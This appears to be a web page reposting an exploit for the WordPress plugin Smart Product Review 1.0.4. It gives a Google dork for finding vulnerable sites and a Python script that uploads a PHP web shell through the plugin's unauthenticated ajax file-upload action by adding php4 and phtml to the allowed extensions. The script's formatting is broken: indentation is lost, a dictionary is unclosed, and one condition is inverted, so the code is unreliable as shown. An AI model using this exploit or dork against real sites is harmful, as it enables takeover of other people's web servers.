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Smart Product Review 1.0.4 Arbitrary File Upload on WordPress


Smart Product Review is an All in One review pack for your WooCommerce store. It lets you add customers’ reviews and ratings with images and videos with ajax review submission and pagination. There are three different layouts (Grid, List, and Slider) available in the plugin.

Exploit Title: WordPress Plugin Smart Product Review 1.0.4 – Arbitrary File Upload
Google Dork: inurl: /wp-content/plugins/smart-product-review/
Date: 16/11/2021
Exploit Author: Keyvan Hardani
Vendor Homepage: https://demo.codeflist.com/wordpress-plugins/smart-product-review/
Version: <= 1.0.4
Tested on: Kali Linux

import os.path
from os import path
import json
import requests;
import time
import sys
def banner():
animation = "|/-\"
for i in range(20):
sys.stdout.write("\r" + animation[i % len(animation)])
#do something
print("Smart Product Review 1.0.4 - Arbitrary File Upload")
print("Author: Keyvan Hardani (www.github.com/Keyvanhardani)")
def usage():
print("Usage: python3 exploit.py [target url] [your shell]")
print("Ex: python3 exploit.py https://example.com ./shell.(php4/phtml)")
def vuln_check(uri): response = requests.get(uri)
raw = response.text
if ("No script kiddies please!!" in raw):
return False;
return True;
def main():
if(len(sys.argv) != 3):
base = sys.argv[1]
file_path = sys.argv[2]
ajax_action = 'sprw_file_upload_action'
admin = '/wp-admin/admin-ajax.php';
uri = base + admin + '?action=' + ajax_action ;
check = vuln_check(uri);
if(check == False):
print("() Target not vulnerable!"); sys.exit(1) if( path.isfile(file_path) == False): print("() Invalid file!")
files = {'files[]' : open(file_path)}
data = {
"allowedExtensions[0]" : "jpg",
"allowedExtensions[1]" : "php4",
"allowedExtensions[2]" : "phtml",
"allowedExtensions[3]" : "png",
"qqfile" : "files",
"element_id" : "6837",
"sizeLimit" : "12000000",
"file_uploader_nonce" : "2b102311b7"
print("Uploading Shell…");
response = requests.post(uri, files=files, data=data )
file_name = path.basename(file_path)
if("ok" in response.text):
print("Shell Uploaded!")
print("Shell URL on your Review/Comment");
print("Shell Upload Failed")

With the passage of time this error may have been fixed by the developer.

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